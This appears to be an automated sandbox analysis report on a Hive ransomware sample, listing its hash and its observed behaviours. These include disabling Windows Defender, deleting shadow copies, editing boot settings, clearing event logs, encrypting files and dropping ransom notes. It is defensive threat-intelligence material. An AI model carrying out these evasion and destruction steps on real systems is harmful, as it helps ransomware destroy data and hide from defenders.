Malware Analysis Report

2024-10-16 03:11

Sample ID 220112-sbmwwachd3
Target 05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample
SHA256 05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b
Tags
hive evasion ransomware spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b

Threat Level: Known bad

The file 05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample was found to be: Known bad.

Malicious Activity Summary

hive evasion ransomware spyware stealer trojan

Modifies security service

Modifies Windows Defender Real-time Protection settings

Deletes Windows Defender Definitions

Hive

Deletes shadow copies

Modifies boot configuration data using bcdedit

Clears Windows event logs

Reads user/profile data of web browsers

Drops file in Program Files directory

Launches sc.exe

Suspicious use of AdjustPrivilegeToken

Runs net.exe

Opens file in notepad (likely ransom note)

Runs ping.exe

Interacts with shadow copies

Modifies registry class

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2022-01-12 14:57

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2022-01-12 14:57

Reported

2022-01-12 14:57

Platform

win7-en-20211208

Command Line

N/A

Signatures

N/A

Processes

N/A

Network

N/A

Files

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2022-01-12 14:57

Reported

2022-01-12 15:02

Platform

win10-en-20211208

Max time kernel

136s

Max time network

128s

Command Line

"C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe"

Signatures

Deletes Windows Defender Definitions

evasion
Description Indicator Process Target
N/A N/A C:\Program Files\Windows Defender\MpCmdRun.exe N/A

Hive

ransomware hive

Modifies Windows Defender Real-time Protection settings

evasion trojan

Modifies security service

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4" C:\Windows\SYSTEM32\reg.exe N/A

Clears Windows event logs

evasion ransomware

Deletes shadow copies

ransomware

Modifies boot configuration data using bcdedit

ransomware evasion
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\bcdedit.exe N/A
N/A N/A C:\Windows\SYSTEM32\bcdedit.exe N/A

Reads user/profile data of web browsers

spyware stealer

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Arkadium.Win10.Upsell\Default\MSCasualGames.zip C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\contrast-white\HxCalendarAppList.targetsize-20_altform-unplated.png C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\sl-si\LdBi_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\Standard2019VL_KMS_Client_AE-ul.xrm-ms.xQgaBirKCk_GL1Biqj9SVpJsd-pySfCOQz7anBvDzhr_NAAAADQAAAA0.6ygpf C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\MS.DATABASECOMPARE.16.1033.hxn.xQgaBirKCk_GL1Biqj9SVpJsd-pySfCOQz7anBvDzhr_LgAAAC4AAAA0.6ygpf C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\Assets\AppTiles\Spacer\10px.png C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\Assets\contrast-black\PeopleMedTile.scale-200.png C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\ro-ro\ui-strings.js.xQgaBirKCk_GL1Biqj9SVpJsd-pySfCOQz7anBvDzhr_AAAAAAAAAAA0.6ygpf C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\MyriadPro-Bold.otf.xQgaBirKCk_GL1Biqj9SVpJsd-pySfCOQz7anBvDzhr_CgAAAAoAAAA0.6ygpf C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\Common Files\System\msadc\fr-FR\msdaprsr.dll.mui.xQgaBirKCk_GL1Biqj9SVpJsd-pySfCOQz7anBvDzhr_CgAAAAoAAAA0.6ygpf C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\OneNotePageLargeTile.scale-200.png C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\xaml\onenote\ShareErrorMessagePage.xaml C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\small\tg_16x11.png C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\contrast-white\HxA-Exchange.scale-100.png C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\HomeBusinessR_Trial2-ppd.xrm-ms.xQgaBirKCk_GL1Biqj9SVpJsd-pySfCOQz7anBvDzhr_IAAAACAAAAA0.6ygpf C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\Assets\Images\Stickers\Sticker_Hedge.dxt C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\large\sz_60x42.png C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\eml.scale-32.png C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\SendMail.api.xQgaBirKCk_GL1Biqj9SVpJsd-pySfCOQz7anBvDzhr_AAAAAAAAAAA0.6ygpf C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\Windows Defender\fr-FR\MpEvMsg.dll.mui C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-140_8wekyb3d8bbwe\Assets\Office\PlaneCutKeepBottom.scale-140.png C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\OneNoteSectionLargeTile.scale-150.png C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\VisioProO365R_Subscription-ppd.xrm-ms.xQgaBirKCk_GL1Biqj9SVpJsd-pySfCOQz7anBvDzhr_IAAAACAAAAA0.6ygpf C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\Bibliography\Style\IEEE2006OfficeOnline.xsl.xQgaBirKCk_GL1Biqj9SVpJsd-pySfCOQz7anBvDzhr_IgAAACIAAAA0.6ygpf C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\AppTiles\SplashScreen.scale-125.png C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Home.aapp.xQgaBirKCk_GL1Biqj9SVpJsd-pySfCOQz7anBvDzhr_AAAAAAAAAAA0.6ygpf C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\MondoR_Grace-ul-oob.xrm-ms.xQgaBirKCk_GL1Biqj9SVpJsd-pySfCOQz7anBvDzhr_EgAAABIAAAA0.6ygpf C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\core_icons_retina.png.xQgaBirKCk_GL1Biqj9SVpJsd-pySfCOQz7anBvDzhr_AAAAAAAAAAA0.6ygpf C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\pl-pl\ui-strings.js.xQgaBirKCk_GL1Biqj9SVpJsd-pySfCOQz7anBvDzhr_KAAAACgAAAA0.6ygpf C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\7813_24x24x32.png C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\contrast-black\HxCalendarLargeTile.scale-100.png C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\TypeSupport\Unicode\Mappings\Adobe\zdingbat.txt.xQgaBirKCk_GL1Biqj9SVpJsd-pySfCOQz7anBvDzhr_FAAAABQAAAA0.6ygpf C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\tt.txt.xQgaBirKCk_GL1Biqj9SVpJsd-pySfCOQz7anBvDzhr_HgAAAB4AAAA0.6ygpf C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\ct.sym.xQgaBirKCk_GL1Biqj9SVpJsd-pySfCOQz7anBvDzhr_AAAAAAAAAAA0.6ygpf C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\VisioPro2019R_Retail-ul-phn.xrm-ms.xQgaBirKCk_GL1Biqj9SVpJsd-pySfCOQz7anBvDzhr_AAAAAAAAAAA0.6ygpf C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN058.XML.xQgaBirKCk_GL1Biqj9SVpJsd-pySfCOQz7anBvDzhr_AAAAAAAAAAA0.6ygpf C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\OFFICE16\en-us\oregres.dll.mui.xQgaBirKCk_GL1Biqj9SVpJsd-pySfCOQz7anBvDzhr_NAAAADQAAAA0.6ygpf C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\TEE\fr-FR.PhoneNumber.SMS.model C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\OneNoteSectionLargeTile.scale-125.png C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\LinkedInboxSmallTile.scale-150.png C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\hu-hu\ui-strings.js.xQgaBirKCk_GL1Biqj9SVpJsd-pySfCOQz7anBvDzhr_AAAAAAAAAAA0.6ygpf C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\tr-tr\ui-strings.js.xQgaBirKCk_GL1Biqj9SVpJsd-pySfCOQz7anBvDzhr_AAAAAAAAAAA0.6ygpf C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\contrast-white\OneNoteSplashLogo.scale-150.png C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\contrast-white\HxA-Generic-Light.scale-400.png C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\uk-ua\ui-strings.js.xQgaBirKCk_GL1Biqj9SVpJsd-pySfCOQz7anBvDzhr_HAAAABwAAAA0.6ygpf C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\LdBi_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-180_8wekyb3d8bbwe\Assets\Office\SelectAll.scale-180.png C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\Fues\CheckMark.png C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\Assets\contrast-black\Logo.scale-150_contrast-black.png C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ExcelR_OEM_Perp-ul-oob.xrm-ms.xQgaBirKCk_GL1Biqj9SVpJsd-pySfCOQz7anBvDzhr_AAAAAAAAAAA0.6ygpf C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\DVA.api.xQgaBirKCk_GL1Biqj9SVpJsd-pySfCOQz7anBvDzhr_AAAAAAAAAAA0.6ygpf C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\AlarmsMedTile.contrast-black_scale-100.png C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\IDTemplates\ENU\AdobeID.pdf.xQgaBirKCk_GL1Biqj9SVpJsd-pySfCOQz7anBvDzhr_MgAAADIAAAA0.6ygpf C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File created C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\BLUECALM\LdBi_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL087.XML.xQgaBirKCk_GL1Biqj9SVpJsd-pySfCOQz7anBvDzhr_AAAAAAAAAAA0.6ygpf C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\PROOF\msgr8es.dub.xQgaBirKCk_GL1Biqj9SVpJsd-pySfCOQz7anBvDzhr_AAAAAAAAAAA0.6ygpf C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-180_8wekyb3d8bbwe\Assets\Office\ProjectionCylindric.scale-180.png C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\HowToPlay\DailyChallenges\tile6.png C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\Assets\PhotosWideTile.contrast-white_scale-200.png C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\Common Files\System\ado\fr-FR\msader15.dll.mui.xQgaBirKCk_GL1Biqj9SVpJsd-pySfCOQz7anBvDzhr_IgAAACIAAAA0.6ygpf C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\README.txt.xQgaBirKCk_GL1Biqj9SVpJsd-pySfCOQz7anBvDzhr_AAAAAAAAAAA0.6ygpf C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-openide-loaders_zh_CN.jar.xQgaBirKCk_GL1Biqj9SVpJsd-pySfCOQz7anBvDzhr_JAAAACQAAAA0.6ygpf C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\SearchTrace.m1v.xQgaBirKCk_GL1Biqj9SVpJsd-pySfCOQz7anBvDzhr_AAAAAAAAAAA0.6ygpf C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\Assets\GamesXboxHubAppList.targetsize-36_contrast-high.png C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe N/A

Launches sc.exe

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\vssadmin.exe N/A

Modifies registry class

Description Indicator Process Target
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\EPP C:\Windows\SYSTEM32\reg.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\EPP C:\Windows\SYSTEM32\reg.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\ContextMenuHandlers\EPP C:\Windows\SYSTEM32\reg.exe N/A

Opens file in notepad (likely ransom note)

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\notepad.exe N/A

Runs net.exe

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeSecurityPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
